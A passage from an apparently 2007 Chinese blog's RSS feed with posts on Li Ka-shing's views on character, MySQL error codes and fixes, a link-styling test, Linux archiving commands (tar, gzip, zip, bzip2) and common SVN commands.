href="http://kaiyuan.hoodong.com/bbs/viewthread.php?tid=1560&amp;page=1&amp;extra=page%3D1"><font color="blue">http://kaiyuan.hoodong.com/bbs/viewthread.php?tid=1560&amp;page=1&amp;extra=page%3D1</font></a></p><p style="margin: 0cm 0cm 0pt;" > </p><p style="margin: 0cm 0cm 0pt;" >大家如有问题请在下面跟贴提问，将会有专人为您解答。</p></span></font></span></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/577901692007102272835719</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/577901692007102272835719</guid>
    <pubDate>Thu, 22 Nov 2007 19:28:35 +0800</pubDate>
    <dcterms:modified>2007-11-22T19:28:35+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[李嘉诚：性格才是命运的决定因素]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/5779016920071022104347891</link>
    <description><![CDATA[<div><p>　　与李嘉诚在一起的时间，你很少能感觉到本应属于华人首富的巨大自我。他的言语、目光和笑容，都不免让人产生疑问：早年经受的战乱、苦难，以及随后六十六年的辛苦工作，这些负面影响究竟是被一种怎样的力量化解，而没有让他成为一个性格极端的人？</p><p>　　是命运？&mdash;在很多场合，李都会提到自己的一生&ldquo;蒙上天眷顾&rdquo;。</p><p>　　但李嘉诚回答说：&ldquo;性格才是命运的决定因素。好像一条船，船身很重要，因为机器及其它设备都是依附在这条船里面。&rdquo;</p><p>　　很长时间以来，因为李的被神化，他的性格都为外界所忽视：李是一个性情急燥还是温和的人？他可曾有脆弱或失去自控的时候？</p><p>　　如果过往的经历可以呈现出李嘉诚的部分性格，那至少可以说明两点：他随时准备改变自己，应付挑战，同时，乐于在高度自控下获得内心自由。关于后 者，一个最恰当的阐释是他自身的体验：在参与地皮招标时，李会不停地、很快地举手出价，但当价钱超过市场的规律，他左手想举起时，右手便立即&ldquo;制止&rdquo;左 手。</p><p>　　很早年时，李嘉诚就证明了，他从来不惮于改变自己，并永远清楚什么时候该挑战下一级台阶。</p><p>　　在其记忆中，第一次强烈的自我改变发生在十岁时。那一年，李嘉诚升入初中，在没有任何人的提醒下，他突然意识到了自己对家庭的责任。这让他一改往日的贪玩，开始发奋，每晚主动背书、默写。这种一夜之间的改变甚至曾令其父不解。</p><p>　　12岁时，因为父亲患肺病，李嘉诚去阅读相关书籍，希望找到救治方法，反而发现自己有着得肺病的一切症状。当时，李不仅需要负担其家族的经济， 还需疗养肺病。但那时他已经深知个人角色管理的方法：没有太多选择，除了须将工作处理妥当，还攒钱买下旧书自修。今日回想起，他仍承认，这是一生最困难的 阶段。</p><p>　　早年的经历不仅将李塑造成一个勤奋的推销员，更养成其对于生活细节毫不讲究的习惯：多年之后，李有一晚下班较晚，到家后拿起桌子上的饭就吃，虽然感觉味道有些臭，却未作声张的吃下了两碗&mdash;&mdash;饭后问明，原来这是两碗给狗准备的饭。</p><p>　　但到22岁创立公司时，李嘉诚很容易就完成了一次质变：他告诉自己，光凭能忍、任劳任怨的毅力已经不够。新的挑战是：在没有找到成功的方程式前，如何让一个组织减少犯错、失败的可能？</p><p>　　或许本质而言，李嘉诚的全部独特之处，正系于其永远懂得把握角色变更的时机和方法。在一次演讲中，他谈及个人管理的艺术，就是应在人生不同的阶 段不停反思自问：&ldquo;我有什么心愿？我有宏伟的梦想，我懂不懂得什么是节制的热情？我有拼战命运的决心，我有没有面对恐惧的勇气？我有信息有机会，有没有实 用智慧的心思？我自信能力天赋过人，有没有面对顺流逆流时懂得适如其分处理的心力？&rdquo;</p><p>　　而其一生中最大的一个疑问是：富有后，感觉不到快乐又如何？</p><p>　　29岁的一个晚上，李嘉诚坐在露天的石头上回顾自己过去的7年：从22岁创业，到27、28岁&ldquo;像火箭上升一样积攒财富&rdquo;，他在当时已经知道，自己将成为富有人士。但他并不知道，内心的富贵由何而来？</p><p>　　那几年间，他正开始在意自己的衣着、手表，研究玉器。但在那一晚，他意识到：更重要的是自己内心知足，有正确的人生观，而在工作上得到的金钱除了足够家人生活使用外，其它的钱有正确用途，能在教育医疗方面帮助别人，生活虽然朴素，亦能令自己感到非常快乐。</p><p>　　1980年起，李决定设立个人基金会，其宗旨是&ldquo;通过教育令能力增值以及通过医疗及相关项目建立一个关怀的社会&rdquo;，并希望&ldquo;在我离开这个世界后 做的事，一定要比我在世时做的只多不少&rdquo;。到今天，他的基金会已在过去26年捐赠近80亿港元，最近他再表示会将不少于1/3的个人资产放入基金之中。</p><p>　　而曾表示&ldquo;从未考虑过要退休&rdquo;的李，在这次采访中表露了一个新的计划：在2008年时减轻工作量，每个月抽出三天全天时间，每天花不少于8小时时间参与到李嘉诚基金会的公益工作</p></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/5779016920071022104347891</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/5779016920071022104347891</guid>
    <pubDate>Thu, 22 Nov 2007 10:43:47 +0800</pubDate>
    <dcterms:modified>2007-11-22T10:43:47+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[MYSQL常见出错代码]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/577901692007102162047891</link>
    <description><![CDATA[<div>说明:<br>如果遇到数据库出错的问题修改相应的代码后一般要重启mysql。如果遇到mysql的问题可以先重启一下mysql<br>看看问题能否解决。<br><br>1016错误：文件无法打开，使用后台修复或者使用phpmyadmin进行修复。<br>1044错误：数据库用户权限不足，请联系空间商解决<br>1045错误：数据库服务器/数据库用户名/数据库名/数据库密码错误，请联系空间商检查帐户。<br>1054错误：程序文件跟数据库有冲突，请使用正确的程序文件上传上去覆盖。<br>1146错误：数据表缺失,请恢复备份数据.<br>1005：创建表失败<br>1006：创建数据库失败<br>1007：数据库已存在，创建数据库失败<br>1008：数据库不存在，删除数据库失败<br>1009：不能删除数据库文件导致删除数据库失败<br>1010：不能删除数据目录导致删除数据库失败<br>1011：删除数据库文件失败<br>1012：不能读取系统表中的记录<br>1020：记录已被其他用户修改<br>1021：硬盘剩余空间不足，请加大硬盘可用空间<br>1022：关键字重复，更改记录失败<br>1023：关闭时发生错误<br>1024：读文件错误<br>1025：更改名字时发生错误<br>1026：写文件错误<br>1032：记录不存在<br>1036：数据表是只读的，不能对它进行修改<br>1037：系统内存不足，请重启数据库或重启服务器<br>1038：用于排序的内存不足，请增大排序缓冲区<br>1040：已到达数据库的最大连接数，请加大数据库可用连接数<br>1041：系统内存不足<br>1042：无效的主机名<br>1043：无效连接<br>1044：当前用户没有访问数据库的权限<br>1045：不能连接数据库，用户名或密码错误<br>1048：字段不能为空<br>1049：数据库不存在<br>1050：数据表已存在<br>1051：数据表不存在<br>1054：字段不存在<br>1065：无效的SQL语句，SQL语句为空<br>1081：不能建立Socket连接<br>1114：数据表已满，不能容纳任何记录<br>1116：打开的数据表太多<br>1129：数据库出现异常，请重启数据库<br>1130：连接数据库失败，没有连接数据库的权限<br>1133：数据库用户不存在<br>1141：当前用户无权访问数据库<br>1142：当前用户无权访问数据表<br>1143：当前用户无权访问数据表中的字段<br>1146：数据表不存在<br>1147：未定义用户对数据表的访问权限<br>1149：SQL语句语法错误<br>1158：网络错误，出现读错误，请检查网络连接状况<br>1159：网络错误，读超时，请检查网络连接状况<br>1160：网络错误，出现写错误，请检查网络连接状况<br>1161：网络错误，写超时，请检查网络连接状况<br>1062：字段值重复，入库失败<br>1169：字段值重复，更新记录失败<br>1177：打开数据表失败<br>1180：提交事务失败<br>1181：回滚事务失败<br>1203：当前用户和数据库建立的连接已到达数据库的最大连接数，请增大可用的数据库连接数或重启数据库<br>1205：加锁超时<br>1211：当前用户没有创建用户的权限<br>1216：外键约束检查失败，更新子表记录失败<br>1217：外键约束检查失败，删除或修改主表记录失败<br>1226：当前用户使用的资源已超过所允许的资源，请重启数据库或重启服务器<br>1227：权限不足，您无权进行此操作<br>1235：MySQL版本过低，不具有本功能<br>2002：Can't connect to ...通常意味着没有一个MySQL服务器运行在系统上或当试图连接mysqld服务器时，你正在使用一个错误的套接字文件或TCP/IP端口。<br><br>1016: 无法打开文件<br>  击后 开始=&gt;所有程序=&gt;附件=&gt;命令提示符<br>  输入 mysql 所在硬盘盘符<br>  cd mysql 所在目录<br>  cd bin<br>  输入 myisamchk -f D:\usr\local\mysql\data\bbs\PW_membars.MYI<br>  ps : D:\usr\local\mysql\data\bbs 是你论坛数据库的路径<br>  -f 根据具体情况选择，一般也可以选择 -r<br>  注意你的 系统C盘或放数据库的硬盘空间是否足够，一般小于 1G 很容易出现错误。<br><br>1045：不能连接数据库，用户名或密码错误<br>方法1:确保论坛data目录下的sql_config.php用户名与密码都正确.如果用户忘记了数据库的密码,可以按如下方式进行<br>密码的修改:<br>如果 MySQL 正在运行，首先停止。<br>启动 MySQL ：bin/safe_mysqld --skip-grant-tables &amp;<br>就可以不需要密码就进入 MySQL 了。<br>然后就是<br>&gt;use mysql<br>&gt;update user set password=password(&quot;new_pass&quot;) where user=&quot;root&quot;;<br>&gt;flush privileges;<br>方法2：在数据库用户名和密码都正确的情况下，出现这个错误，检查论坛有没有写入的权限。<br><br>1040: 最大连接数<br>  方法:在my.ini修改max_connections=100为max_connections=1000或更大,重启mysql<br><br>1062：字段值重复，入库失败<br>方法:<br>  1.如果出类似主码为&quot;65535&quot;的错误,可以查看相关表的自增字段,将字段值改在就可以<br>  2.确保相关数据表中主码重复的字段是否存在,如果存在删除这条记录<br>  3.备份数据库,修复相关表(注:这种情况比较常见,如pw_posts表,对表进行修复的时候不要忘记备份).<br><br>10061: 方法:&nbsp;&nbsp;  启动这台机器上的MySQL服务<br>  如服务启动失败<br>  一定是你的my.ini文件出了差错，<br>  MySQL服务不能正常启动<br>  你删除了它后，MySQL就会按其默认配置运行，<br>  那就没有问题了<br><br>10048:<br>  建议在my.ini文件中修改最大连接数，<br>  把 mysql_connect() 方法都改成了 mysql_pconnect() 方法.<br>  要修改mysql_pconnect()，可以在论坛的data目录的sql_config.php中<br>  $pconnect = 0; //是否持久连接<br>  修改成$pconnect = 1;<br>  开启防刷新,严禁刷新太快.<br><br>10055:没有缓存空间可利用<br>  方法:查看下你的C盘空间是否已经满,清除一些没有用的文件.<br>  可以在后台的&quot;论坛核心设置&quot;,&quot;核心功能设置&quot;里&quot;进程优化&quot;开启,&quot;GZIP 压缩输出&quot;关闭.<br><br><br>MySQL常见错误提示及解决方法<br><br>130 ：文件格式不正确。（还不是很清楚错误的状况）<br><br>145 ：文件无法打开。<br><br>1005：创建表失败。<br><br>1006：创建数据库失败。<br><br>1007：数据库已存在，创建数据库失败。<br><br>1008：数据库不存在，删除数据库失败。<br><br>1009：不能删除数据库文件导致删除数据库失败。<br><br>1010：不能删除数据目录导致删除数据库失败。<br><br>1011：删除数据库文件失败。<br><br>1012：不能读取系统表中的记录。<br><br>1016：文件无法打开，使用后台修复或者使用 phpmyadmin 进行修复。<br><br>开始=&gt;所有程序=&gt;附件=&gt;命令提示符<br>输入 mysql 所在硬盘盘符<br>cd mysql 所在目录<br>cd bin<br>输入 myisamchk -f D:usr/local/mysql/data/bbs/PW_members.MYI<br>ps : D:usr/local/mysql/data/bbs 是你论坛数据库的路径<br>-f 根据具体情况选择，一般也可以选择 -r<br>注意你的 系统C盘或放数据库的硬盘空间是否足够，一般小于 1G 很容易出现错误。<br>或用mysqlcheck命令进行修复。具体的方法：利用命令行进入mysql/bin目录，执行<br>mysqlcheck -o -r phpwind -uroot -p<br>其中phpwind是你数据库的名称，root是你的数据库用户名，然后会提示你输入密码。然后就会修复你的数据库。<br><br>1017：服务器非法关机，导致该文件损坏。<br><br>1020：记录已被其他用户修改。<br><br>1021：硬盘剩余空间不足，请加大硬盘可用空间。<br><br>1022：关键字重复，更改记录失败。<br><br>1023：关闭时发生错误。<br><br>1024：读文件错误。<br><br>1025：更改名字时发生错误。<br><br>1026：写文件错误。<br><br>1030：可能是服务器不稳定。（具体原因不是很清楚）<br><br>1032：记录不存在。<br><br>1036：数据表是只读的，不能对它进行修改。<br><br>1037：系统内存不足，请重启数据库或重启服务器。<br><br>1038：用于排序的内存不足，请增大排序缓冲区。<br><br>1040：已到达数据库的最大连接数，请加大数据库可用连接数。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  在my.ini 修改max_connections=100为max_connections=1000或更大,重启mysql<br><br>1041：系统内存不足。<br><br>1042：无效的主机名。<br><br>1043：无效连接。<br><br>1044：数据库用户权限不足，请联系空间商解决。<br><br>1045：数据库服务器/数据库用户名/数据库名/数据库密码错误，请联系空间商检查帐户。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  方法:确保论坛data目录下的sql_config.php用户名与密码都正确.如果用户忘记了数据库的密码,可以按如下方式进行密码的修改:<br><br>如果 MySQL 正在运行，首先停止。<br>启动 MySQL ：bin/safe_mysqld --skip-grant-tables &amp;<br>就可以不需要密码就进入 MySQL 了。<br>然后就是<br>&gt;use mysql uN9<br>&gt;update user set password=password(&quot;new_pass&quot;) where user=&quot;root&quot;;<br>&gt;flush privileges;<br><br>1046：没有选择数据库。<br><br>1048：字段不能为空。<br><br>1049：数据库不存在。<br><br>1050：数据表已存在。<br><br>1051：数据表不存在。<br><br>1054：字段不存在，自行建立字段。<br><br>1060：字段重复，导致无法插入这个字段。<br><br>1062：字段值重复，入库失败<br><br>1.如果出类似主码为&quot;65535&quot;的错误,可以查看相关表的自增字段,将字段值改在就可以<br>2.确保相关数据表中主码重复的字段是否存在,如果存在删除这条记录<br>3.备份数据库,修复相关表(注:这种情况比较常见,如pw_posts表,对表进行修复的时候不要忘记备份).<br><br>1064：MySQL 不支持错误提示中的编码。<br><br>1065：无效的 SQL 语句，SQL 语句为空。<br><br>1067：MySQL 版本为 5，不支持空的默认值。<br><br>1081：不能建立 Socket 连接。<br><br>1114：数据表已满，不能容纳任何记录。<br><br>1115：设置的字符集在 MySQL 并没有支持。<br><br>1116：打开的数据表太多。<br><br>1129：数据库出现异常，请重启数据库。<br><br>1130：连接数据库失败，没有连接数据库的权限。<br><br>1133：数据库用户不存在。<br><br>1135：可能是内存不足够，请联系空间商解决。<br><br>1141：当前用户无权访问数据库。<br><br>1142：当前用户无权访问数据表。<br><br>1143：当前用户无权访问数据表中的字段。<br><br>1146：数据表缺失，请恢复备份数据<br><br>1147：未定义用户对数据表的访问权限。<br><br>1149：SQL 语句语法错误。<br><br>1158：网络错误，出现读错误，请检查网络连接状况。<br><br>1159：网络错误，读超时，请检查网络连接状况。<br><br>1160：网络错误，出现写错误，请检查网络连接状况。<br><br>1161：网络错误，写超时，请检查网络连接状况。<br><br>1169：字段值重复，更新记录失败。<br><br>1177：打开数据表失败。<br><br>1180：提交事务失败。<br><br>1181：回滚事务失败。<br><br>1193：不支持字符集限定(SET NAMES)。<br><br>1203：当前用户和数据库建立的连接已到达数据库的最大连接数，请增大可用的数据库连接数或重启数据库。<br><br>1205：加锁超时。<br><br>1211：当前用户没有创建用户的权限。<br><br>1216：外键约束检查失败，更新子表记录失败。<br><br>1217：外键约束检查失败，删除或修改主表记录失败。<br><br>1226：当前用户使用的资源已超过所允许的资源，请重启数据库或重启服务器。<br><br>1227：权限不足，您无权进行此操作。<br><br>1235：MySQL版本过低，不具有本功能。<br><br>1250：客户端不支持服务器要求的认证协议，请考虑升级客户端。<br><br>1251:Client 不能支持 authentication protocol 的要求<br>Client does not support authentication protocol requested by server; consider upgrading MySQL client<br><br>方法1：<br>mysql&gt; SET PASSWORD FOR f5<br>-&gt; ' some_user '@' some_host ' = OLD_PASSWORD(' newpwd '); <br>结合我们的实际情况,在 MySQL Command Line Client 下运行:<br>set password for root@localhost = old_password('123456');<br><br>方法2:<br>mysql&gt; UPDATE mysql.user SET Password = OLD_PASSWORD('newpwd')<br>-&gt; WHERE Host = 'some_host' AND User = 'some_user';<br>mysql&gt; FLUSH PRIVILEGES;<br>请按自己实际情况修改。<br><br>1267：不合法的混合字符集。<br><br>2002：服务器端口不对，请咨询空间商正确的端口。<br><br>2003：MySQL 服务没有启动，请启动该服务。<br><br>2008：MySQL client ran out of memory<br>错误指向了MySQL客户mysql。这个错误的原因很简单，客户没有足够的内存存储全部结果。<br><br>2013：远程连接数据库是有时会有这个问题，MySQL 服务器在执行一条 SQL 语句的时候失去了连接造成的。<br><br>10048:<br><br>建议在my.ini文件中修改最大连接数，<br>把 mysql_connect() 方法都改成了 mysql_pconnect() 方法.<br>要修改mysql_pconnect()，可以在论坛的data目录的sql_config.php中<br>$pconnect = 0; //是否持久连接<br>修改成$pconnect = 1;<br>开启防刷新,严禁刷新太快.<br><br>10055:没有缓存空间可利用<br><br>查看下你的C盘空间是否已经满,清除一些没有用的文件.<br>可以在后台的&quot;论坛核心设置&quot;,&quot;核心功能设置&quot;里&quot;进程优化&quot;开启,&quot;GZIP 压缩输出&quot;关闭.<br>查找了一下10055（没有缓存空间可利用）出错的原因，分析了my.ini的配制文件，在my.ini中如下：<br>default-storage-engine=INNODB<br>innodb_additional_mem_pool_size=2M<br>innodb_flush_log_at_trx_commit=1<br>innodb_log_buffer_size=1M<br>innodb_buffer_pool_size=10M<br>innodb_log_file_size=10M<br>innodb_thread_concurrency=8<br>觉得可以把innodb_buffer_pool_size=10M　加大如100M或是1000M<br>以上是对mysql5的<br><br>如果是mysql4可以在my.ini中增加如下<br>#innodb_data_file_path = ibdata1：2000M;ibdata2：2000M<br>#innodb_data_home_dir = c：ibdata<br>#innodb_log_group_home_dir = c：iblogs<br>#innodb_log_arch_dir = c：iblogs<br>#set-variable = innodb_mirrored_log_groups=1<br>#set-variable = innodb_log_files_in_group=3<br>#set-variable = innodb_log_file_size=5M<br>#set-variable = innodb_log_buffer_size=8M<br>#innodb_flush_log_at_trx_commit=1<br>#innodb_log_archive=0<br>#set-variable = innodb_buffer_pool_size=16M<br>#set-variable = innodb_additional_mem_pool_size=2M<br>#set-variable = innodb_file_io_threads=4<br>#set-variable = innodb_lock_wait_timeout=50<br>把前面的#去了<br><br>10061:<br><br>启动这台机器上的MySQL服务<br>如服务启动失败<br>一定是你的my.ini文件出了差错，<br>MySQL服务不能正常启动<br>你删除了它后，MySQL就会按其默认配置运行，那就没有问题了<br><br></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/577901692007102162047891</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/577901692007102162047891</guid>
    <pubDate>Wed, 21 Nov 2007 18:20:47 +0800</pubDate>
    <dcterms:modified>2007-11-21T18:20:47+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[加了下滑线的链接]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/577901692007102123047891</link>
    <description><![CDATA[<div><a href="http://127.0.0.1/bbs/attachments/month_1120/1195565427w6dJBL8z.jpg" target="_blank">给李开复：</a><a href="http://127.0.0.1/bbs/doc.php?action=view&amp;title=%E8%B0%B7%E6%AD%8C"  target="_blank" >谷歌</a>为什么搞不定<a href="http://127.0.0.1/bbs/doc.php?action=view&amp;title=%E7%99%BE%E5%BA%A6"  target="_blank" >百度</a><br>写给李开复：谷歌为什么搞不定百度<br>写给李开复：谷歌为什么搞不定百度<br>写给李开复：谷歌为什么搞不定百度给李开复：<a href="http://127.0.0.1/bbs/doc.php?action=view&amp;title=%E8%B0%B7%E6%AD%8C"  target="_blank" >谷歌</a>为什么搞不定<a href="http://127.0.0.1/bbs/doc.php?action=view&amp;title=%E7%99%BE%E5%BA%A6"  target="_blank" >百度</a><br>写给李开复：谷歌为什么搞不定百度<br>写给李开复：谷歌为什么搞不定百度<br>写给李开复：谷歌为什么搞不定百度给李开复：<a href="http://127.0.0.1/bbs/doc.php?action=view&amp;title=%E8%B0%B7%E6%AD%8C"  target="_blank" >谷歌</a>为什么搞不定<a href="http://127.0.0.1/bbs/doc.php?action=view&amp;title=%E7%99%BE%E5%BA%A6"  target="_blank" >百度</a><br>写给李开复：谷歌为什么搞不定百度<br>写给李开复：谷歌为什么搞不定百度<br>写给李开复：谷歌为什么搞不定百度<br><br>.innerlink:link{color:#FF00FF;text-decoration:underline;border-bottom:3px dotted;}<br>.innerlink:visited{color:#FF00FF;text-decoration:underline;border-bottom:3px dotted;}<br>.innerlink:hover{color:#FF00FF;text-decoration:underline;border-bottom:3px dotted;}<br>.innerlink:active{color:#FF00FF;text-decoration:underline;border-bottom:3px dotted;}<br></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/577901692007102123047891</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/577901692007102123047891</guid>
    <pubDate>Wed, 21 Nov 2007 14:30:47 +0800</pubDate>
    <dcterms:modified>2007-11-21T14:30:47+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[tar,gzip,bzip]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/577901692007102053547891</link>
    <description><![CDATA[<div><div style="margin: 15px;"><div><strong><font color="#0000ff">tar</font></strong></div><div><br>linux下面的归档工具。是对文件或者目录进行归档，归成一个文件，但并不压缩。<br>语法格式<br>tar [主选项+辅选项] 文件或者目录列表</div><div> </div><div>主选项<br>-c 创建新的档案文件<br>-r 把要归档的文件追加到档案文件的末尾<br>-t 列出档案文件中已经归档的文件列表<br>-u 更新文件，用新文件替代档案中原始文件。如果备份文件中不存在该文件，则把它追加到备份文件的末尾<br>-x 从档案文件中还原文件</div><div> </div><div>辅选项<br>-f 归档到普通文件<br>-k 保存已存在的文件。例如在还原的过程中，遇到相同的文件，不会进行覆盖<br>-m 在还原文件时，把所有文件的修改时间设定为现在时间<br>-v 报告tar的详细处理过程<br>-w 每一步都要进行确认<br>-z 用gzip来压缩/解压缩文件<br>-j 通过bzip2压缩/解压缩文件<br>-Z 通过compress程序过滤档案。</div><div><br>例如：将/etc/目录下所有东西归档到当前目录下，取名为wpc.tar，命令如下：<br>tar cvf wpc.tar /etc/</div><div> </div><div>例如：将当前目录下wpc.tar解压到当前目录下，命令如下：<br>tar xvf wpc.tar</div><div> </div><div>＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝</div><div><br>文件压缩<br>可以将一般的文件进行压缩，或者将归档的文件进行压缩</div><div> </div><div><font color="#0000ff"><strong>gzip &amp; gunzip</strong></font></div><div><br>语法格式<br>gzip [选项] 压缩(解压缩)的文件名</div><div>gzip默认将源文件压缩为.gz文件，并删除原文件</div><div> </div><div>常用选项<br>-c 将输出写道标准输出上，并保留原文件<br>-d 对压缩文件进行解压缩<br>-l 对每个压缩文件，显示字段：压缩文件的大小、未压缩文件的大小、压缩比、未压缩文件的名字<br>-r 递归式查找指定目录，并压缩或者解压缩其中的所有文件。<br>-t 检查压缩文件是否完整<br>-v 对每个压缩和解压缩的文件，显示文件名和压缩比<br>-num 用指定的数字num设置压缩比，-1或-fast表示最低压缩比，-9或-best表示最高压缩比。系统默认值是6</div><div> </div><div>例如：将当前目录下，wpc.bmp压缩，命令如下：<br>gzip -v wpc.bmp</div><div> </div><div>例如：将当前目录下wpc.bmp.gz解压缩，命令如下：<br>gunzip -d wpc.bmp.gz</div><div><br>命令结果：wpc.bmp.gz被解压缩，并被删除，出现wpc.bmp</div><div> </div><div>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－</div><div><br><strong><font color="#0000ff">zip &amp; unzip</font></strong></div><div><br><font color="#0000ff"><strong>zip</strong></font>与windows的winzip压缩程序产生相同压缩文件.zip。</div><div><br>语法格式<br>zip 压缩文件名 被压缩文件列表</div><div> </div><div>例如：将当前目录下，wpc子目录下面的所有内容压缩成wpc.zip,命令如下：<br>zip wpc.zip wpc/</div><div> </div><div><font color="#0000ff"><strong>unzip</strong></font></div><div><br>语法格式<br>unzip [选项] 压缩文件名.zip</div><div> </div><div>常用选项<br>-x 文件列表&nbsp;&nbsp;   解压缩文件，但不包括&ldquo;文件列表&rdquo;中指定的文件<br>-v 查看压缩文件目录，但不解压<br>-t 测试文件有无损坏，但不解压<br>-d 目录&nbsp;&nbsp;   把压缩文件解压到指定目录下<br>-z 只显示压缩文件的注解<br>-n 不覆盖已经存在的文件<br>-o 覆盖已存在的文件且不要求用户确认<br>-j 不重建文档的目录结构，把所有文件解压到同一目录下</div><div> </div><div>例如：将当前目录下wpc.zip解压缩，命令如下：<br>unzip wpc.zip</div><div><br>-------------------------------------------</div><div><br><font color="#0000ff"><strong>bzip2</strong></font></div><div><br>语法格式<br>bzip2 [选项][-压缩等级] 压缩文件名</div><div> </div><div>常用选项<br>-c 或 --stdout&nbsp;&nbsp;   将压缩与解压缩的结果送到标准输出<br>-d 或 --decompress 执行解压缩<br>-f 或 --force&nbsp;&nbsp;   bzip2在压缩或解压缩时，若输出文件与现有文件同名，预设不会覆盖现有文件，若要覆盖，需要使用此参数<br>-h 或 --help 显示帮助<br>-k 或 --keep bzip2在压缩或解压缩后，会删除原始的文件，若要保留原始文件，需要使用此参数<br>-s 或 --small 降低程序执行时内存的使用量<br>-t 或 --test 测试.bz2压缩文件的完整性<br>-v 或 --verbose 压缩或解压缩文件时，显示详细的信息<br>-z 或 --compress 强制执行压缩<br>-V 或 --version 显示版本信息<br>--repetitive-best 若文件中有重复出现的内容，可利用此参数提高压缩效果<br>--repetitive-fast 若文件中有重复出现的内容，可利用此参数加快执行速度</div><div> </div><div>例如：使用bzip2压缩当前目录下的归档文件wpc.tar，命令如下：<br>bzip2 wpc.tar</div><div> </div><div>例如：解压缩当前目录下wpc.tar.bz2，命令如下：<br>bzip2 -d wpc.tar.bz2</div><div> </div><div>注：bunzip2和bzip2 -d效果相同</div></div></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/577901692007102053547891</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/577901692007102053547891</guid>
    <pubDate>Tue, 20 Nov 2007 17:35:47 +0800</pubDate>
    <dcterms:modified>2007-11-20T17:35:47+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[svn常用命令]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/577901692007102052047891</link>
    <description><![CDATA[<div><p><font size="3">svn命令</font> <font size="3">通常都有帮助,可通过如下方式查询：</font></p><pre><font size="3">$ svn <span  >help </span></font></pre><p><font size="3">知道了子命令，但<span  >是不知道子命令的用法，</span>还可以查询：</font></p><pre><font size="3">$ svn he<span  >lp add </span></font></pre><br><p><strong><font size="3">开发人员常用命令</font></strong></p><p><font size="3">(1) 导入项目</font></p><pre><font size="3">$ cd ~/project<br>$ mkdir -p svntest/{trunk,branches,tags}<br>$ svn import <span  >svntest</span> https://localhost/<span  >test</span>/svntest --message &quot;Start project&quot;<br>...<br>$ rm -r<span  >f svntest</span></font></pre><p><font size="3">我们新建一个项<span  >目svntest，在该项目下新</span>建三个子目录：trunk，开发主干；branches，开发分支；tags，开发阶段性标签。然后导入到版本库test下，然后把svntest拿掉。</font></p><p><font size="3">(2) 导出项目</font></p><pre><font size="3">$ svn checkout https://localhost/test/svntest/trunk</font></pre><p><font size="3">修订版本号的指定方式是每个开发人员必须了解的，以下是几个参考例子，说明可参考svn推荐书。</font></p><pre><font size="3">$ svn diff --revision PREV:COMMITTED foo.c<br># shows the last change committed to foo.c<br><br>$ svn log --revision HEAD<br># shows log message for the latest repository commit<br><br>$ svn diff --revision HEAD<br># compares your working file (with local changes) to the latest version<br># in the repository<br><br>$ svn diff --revision BASE:HEAD foo.c<br># compares your &ldquo;pristine&rdquo; foo.c (no local changes) with the <br># latest version in the repository<br><br>$ svn log --revision BASE:HEAD<br># shows all commit logs since you last updated<br><br>$ svn update --revision PREV foo.c<br># rewinds the last change on foo.c<br># (foo.c's working revision is decreased)<br><br>$ svn checkout --revision 3<br># specified with revision number<br><br>$ svn checkout --revision {2002-02-17}<br>$ svn checkout --revision {15:30}<br>$ svn checkout --revision {15:30:00.200000}<br>$ svn checkout --revision {&quot;2002-02-17 15:30&quot;}<br>$ svn checkout --revision {&quot;2002-02-17 15:30 +0230&quot;}<br>$ svn checkout --revision {2002-02-17T15:30}<br>$ svn checkout --revision {2002-02-17T15:30Z}<br>$ svn checkout --revision {2002-02-17T15:30-04:00}<br>$ svn checkout --revision {20020217T1530}<br>$ svn checkout --revision {20020217T1530Z}<br>$ svn checkout --revision {20020217T1530-0500}</font></pre><p><font size="3">(3) 日常指令</font></p><pre><font size="3">$ svn update<br><br>$ svn add foo.file<br>$ svn add foo1.dir<br>$ svn add foo2.dir --non-recursive<br>$ svn delete README<br>$ svn copy foo bar<br>$ svn move foo1 bar1<br><br>$ svn status<br>$ svn status --verbose<br>$ svn status --verbose --show-updates<br>$ svn status stuff/fox.c<br><br>$ svn diff<br>$ svn diff &gt; patchfile<br><br>$ svn revert README<br>$ svn revert</font></pre><p><font size="3">修改冲突发生时，会生成三个文件：.mine, .rOLDREV, .rNEWREV。比如：</font></p><pre><font size="3">$ ls -l<br>sandwich.txt<br>sandwich.txt.mine<br>sandwich.txt.r1<br>sandwich.txt.r2</font></pre><p><font size="3">解决修改冲突方式之一：修改冲突的文件sandwich.txt，然后运行命令：</font></p><pre><font size="3">$ svn resolved sandwich.txt</font></pre><p><font size="3">方式之二：用库里的新版本覆盖你的修改：</font></p><pre><font size="3">$ cp sandwich.txt.r2 sandwich.txt<br>$ svn resolved sandwich.txt</font></pre><p><font 